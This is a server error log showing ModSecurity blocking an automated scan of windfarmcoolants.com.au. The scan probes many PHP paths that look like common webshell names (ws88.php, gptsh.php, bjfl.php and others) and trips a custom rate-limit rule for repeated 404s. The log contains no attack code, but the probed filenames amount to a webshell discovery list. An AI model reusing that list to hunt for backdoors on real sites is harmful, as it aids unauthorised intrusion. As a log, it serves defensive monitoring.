[Sat Apr 18 20:18:23.428275 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:6046] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeN2jxBmX4Wq5a6rxfaqEgAAAU8"]
[Sat Apr 18 20:18:24.031373 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:5948] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "aeN2kBBmX4Wq5a6rxfaqFQAAAVQ"]
[Sat Apr 18 20:18:24.743861 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:5735] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "aeN2kICFeowknfXHM7kbFwAAAE4"]
[Sat Apr 18 20:18:25.352108 2026] [:error] [pid 9864:tid 9923] [client 52.236.80.95:6086] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "aeN2kYCFeowknfXHM7kbGwAAAFE"]
[Sat Apr 18 20:18:25.894321 2026] [:error] [pid 9970:tid 9981] [client 52.236.80.95:5963] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "aeN2kSYdRLRhVmaIMx2zpAAAAMc"]
[Sat Apr 18 20:18:26.404750 2026] [:error] [pid 9970:tid 9989] [client 52.236.80.95:5954] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjfl.php"] [unique_id "aeN2kiYdRLRhVmaIMx2zpQAAAM8"]
[Sat Apr 18 20:18:26.908765 2026] [:error] [pid 34288:tid 34306] [client 52.236.80.95:6078] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "aeN2kuTIiy__PtiLmpnS-QAAAY4"]
[Sat Apr 18 20:18:27.606711 2026] [:error] [pid 34237:tid 34254] [client 52.236.80.95:6084] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "aeN2kxBmX4Wq5a6rxfaqHQAAAU8"]
[Sat Apr 18 20:18:28.120695 2026] [:error] [pid 9865:tid 9961] [client 52.236.80.95:5836] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "aeN2lKzb5knECIY-C-iCGQAAAJg"]
[Sat Apr 18 20:18:28.676510 2026] [:error] [pid 9865:tid 9951] [client 52.236.80.95:6003] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "aeN2lKzb5knECIY-C-iCGgAAAI4"]
[Sat Apr 18 20:18:29.231686 2026] [:error] [pid 9863:tid 9890] [client 52.236.80.95:5737] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "aeN2lTjjiypiFrTucbLNFgAAABE"]
[Sat Apr 18 20:18:29.806605 2026] [:error] [pid 34288:tid 34300] [client 52.236.80.95:6063] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "aeN2leTIiy__PtiLmpnS_QAAAYg"]
[Sat Apr 18 20:18:30.697750 2026] [:error] [pid 34288:tid 34312] [client 52.236.80.95:6062] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "aeN2luTIiy__PtiLmpnS_gAAAZQ"]
[Sat Apr 18 20:18:31.282326 2026] [:error] [pid 9864:tid 9905] [client 52.236.80.95:5956] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "aeN2l4CFeowknfXHM7kbHQAAAEA"]
[Sat Apr 18 20:18:32.107673 2026] [:error] [pid 34290:tid 34336] [client 52.236.80.95:6096] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aeN2mBqX6WpmmAXOBi8bmQAAAdE"]
[Sat Apr 18 20:18:32.726654 2026] [:error] [pid 34288:tid 34292] [client 52.236.80.95:5946] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aeN2mOTIiy__PtiLmpnTAAAAAYA"]
[Sat Apr 18 20:18:33.361841 2026] [:error] [pid 9864:tid 9915] [client 52.236.80.95:6088] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aeN2mYCFeowknfXHM7kbJAAAAEk"]
[Sat Apr 18 20:18:34.191709 2026] [:error] [pid 34288:tid 34294] [client 52.236.80.95:6081] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aeN2muTIiy__PtiLmpnTAQAAAYI"]
[Sat Apr 18 20:18:34.847755 2026] [:error] [pid 34288:tid 34293] [client 52.236.80.95:6038] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfun.php"] [unique_id "aeN2muTIiy__PtiLmpnTAgAAAYE"]
[Sat Apr 18 20:18:35.483443 2026] [:error] [pid 9864:tid 9914] [client 52.236.80.95:5987] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfun.php"] [unique_id "aeN2m4CFeowknfXHM7kbKgAAAEg"]
[Sat Apr 18 20:18:36.101995 2026] [:error] [pid 9865:tid 9949] [client 52.236.80.95:6112] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfun.php"] [unique_id "aeN2nKzb5knECIY-C-iCJAAAAIw"]
[Sat Apr 18 20:18:36.806591 2026] [:error] [pid 34290:tid 34334] [client 52.236.80.95:5926] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfun.php"] [unique_id "aeN2nBqX6WpmmAXOBi8brAAAAc8"]
[Sat Apr 18 20:18:37.373889 2026] [:error] [pid 34237:tid 34240] [client 52.236.80.95:6076] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeN2nRBmX4Wq5a6rxfaqLgAAAUE"]
[Sat Apr 18 20:18:38.100480 2026] [:error] [pid 9864:tid 9910] [client 52.236.80.95:6045] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeN2noCFeowknfXHM7kbMAAAAEU"]
[Sat Apr 18 20:18:38.749847 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:6049] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeN2nhBmX4Wq5a6rxfaqMgAAAUo"]
[Sat Apr 18 20:18:39.392243 2026] [:error] [pid 34290:tid 34335] [client 52.236.80.95:6018] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeN2nxqX6WpmmAXOBi8bsAAAAdA"]
[Sat Apr 18 20:18:39.898256 2026] [:error] [pid 9970:tid 9990] [client 52.236.80.95:5736] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aeN2nyYdRLRhVmaIMx2zqQAAANA"]
[Sat Apr 18 20:18:40.483528 2026] [:error] [pid 9864:tid 9914] [client 52.236.80.95:5983] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aeN2oICFeowknfXHM7kbNwAAAEg"]
[Sat Apr 18 20:18:41.428026 2026] [:error] [pid 34290:tid 34322] [client 52.236.80.95:5981] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "aeN2oRqX6WpmmAXOBi8btAAAAcM"]
[Sat Apr 18 20:18:42.009071 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/ws86.php
[Sat Apr 18 20:18:42.264268 2026] [:error] [pid 34237:tid 34259] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/ws85.php
[Sat Apr 18 20:18:42.577465 2026] [:error] [pid 34237:tid 34262] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/Cap.php
[Sat Apr 18 20:18:42.832666 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/h2.php
[Sat Apr 18 20:18:43.086461 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Sat Apr 18 20:18:43.340659 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/ah25.php
[Sat Apr 18 20:18:43.594451 2026] [:error] [pid 34237:tid 34253] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sat Apr 18 20:18:43.851512 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/lowpr.php
[Sat Apr 18 20:18:44.110074 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/wtiiy.php
[Sat Apr 18 20:18:44.374367 2026] [:error] [pid 34237:tid 34261] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/albin.php
[Sat Apr 18 20:18:44.707449 2026] [:error] [pid 34237:tid 34239] [client 52.236.80.95:5996] File does not exist: /usr/local/apache/htdocs/suspended-page/gptsh.php
[Sat Apr 18 20:18:44.960041 2026] [:error] [pid 34237:tid 34257] [client 52.236.80.95:5996] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/csv.php"] [unique_id "aeN2pBBmX4Wq5a6rxfaqRwAAAVI"]
[Sat Apr 18 20:18:45.594155 2026] [:error] [pid 9863:tid 9897] [client 52.236.80.95:5998] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/csv.php"] [unique_id "aeN2pTjjiypiFrTucbLNLAAAABg"]
[Sat Apr 18 20:18:46.199655 2026] [:error] [pid 34290:tid 34339] [client 52.236.80.95:6000] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/csv.php"] [unique_id "aeN2phqX6WpmmAXOBi8buAAAAdQ"]
[Sat Apr 18 20:18:46.964280 2026] [:error] [pid 34237:tid 34247] [client 52.236.80.95:6051] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/csv.php"] [unique_id "aeN2phBmX4Wq5a6rxfaqTQAAAUg"]
[Sat Apr 18 20:18:47.520057 2026] [:error] [pid 34237:tid 34253] [client 52.236.80.95:5897] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sale.php"] [unique_id "aeN2pxBmX4Wq5a6rxfaqTgAAAU4"]
[Sat Apr 18 20:18:48.126337 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5966] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sale.php"] [unique_id "aeN2qBBmX4Wq5a6rxfaqUAAAAUs"]
[Sat Apr 18 20:18:48.802682 2026] [:error] [pid 9864:tid 9930] [client 52.236.80.95:6012] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sale.php"] [unique_id "aeN2qICFeowknfXHM7kbPgAAAFg"]
[Sat Apr 18 20:18:49.382252 2026] [:error] [pid 13023:tid 13043] [client 52.236.80.95:5980] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sale.php"] [unique_id "aeN2qf1e7hG8DAeABB8GDAAAARI"]
[Sat Apr 18 20:18:50.104746 2026] [:error] [pid 9864:tid 9920] [client 52.236.80.95:5913] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa21.php"] [unique_id "aeN2qoCFeowknfXHM7kbQgAAAE4"]
[Sat Apr 18 20:18:50.755585 2026] [:error] [pid 34290:tid 34327] [client 52.236.80.95:6092] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa21.php"] [unique_id "aeN2qhqX6WpmmAXOBi8buwAAAcg"]
[Sat Apr 18 20:18:51.310335 2026] [:error] [pid 9864:tid 9910] [client 52.236.80.95:5974] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa21.php"] [unique_id "aeN2q4CFeowknfXHM7kbRAAAAEU"]
[Sat Apr 18 20:18:52.087057 2026] [:error] [pid 13023:tid 13031] [client 52.236.80.95:5975] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa21.php"] [unique_id "aeN2rP1e7hG8DAeABB8GDgAAAQY"]
[Sat Apr 18 20:18:52.641852 2026] [:error] [pid 13023:tid 13045] [client 52.236.80.95:5800] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws73.php"] [unique_id "aeN2rP1e7hG8DAeABB8GEAAAARQ"]
[Sat Apr 18 20:18:53.330661 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:5961] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws73.php"] [unique_id "aeN2rRBmX4Wq5a6rxfaqVgAAAVA"]
[Sat Apr 18 20:18:53.985553 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:6090] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws73.php"] [unique_id "aeN2rRBmX4Wq5a6rxfaqWgAAAUQ"]
[Sat Apr 18 20:18:54.737390 2026] [:error] [pid 34237:tid 34249] [client 52.236.80.95:5953] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws73.php"] [unique_id "aeN2rhBmX4Wq5a6rxfaqXQAAAUo"]
[Sat Apr 18 20:18:55.362675 2026] [:error] [pid 34290:tid 34342] [client 52.236.80.95:5947] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bootstrap.php"] [unique_id "aeN2rxqX6WpmmAXOBi8bvgAAAdc"]
[Sat Apr 18 20:18:56.551747 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:5986] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bootstrap.php"] [unique_id "aeN2sBBmX4Wq5a6rxfaqZQAAAUY"]
[Sat Apr 18 20:18:57.334672 2026] [:error] [pid 34237:tid 34240] [client 52.236.80.95:6122] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bootstrap.php"] [unique_id "aeN2sRBmX4Wq5a6rxfaqZwAAAUE"]
[Sat Apr 18 20:18:57.972746 2026] [:error] [pid 13023:tid 13030] [client 52.236.80.95:5944] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bootstrap.php"] [unique_id "aeN2sf1e7hG8DAeABB8GEQAAAQU"]
[Sat Apr 18 20:18:58.746696 2026] [:error] [pid 9865:tid 9946] [client 52.236.80.95:5889] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asasx.php"] [unique_id "aeN2sqzb5knECIY-C-iCLwAAAIk"]
[Sat Apr 18 20:19:00.040717 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:6071] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asasx.php"] [unique_id "aeN2tBBmX4Wq5a6rxfaqbAAAAVM"]
[Sat Apr 18 20:19:00.651145 2026] [:error] [pid 9970:tid 9986] [client 52.236.80.95:5637] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asasx.php"] [unique_id "aeN2tCYdRLRhVmaIMx2zsQAAAMw"]
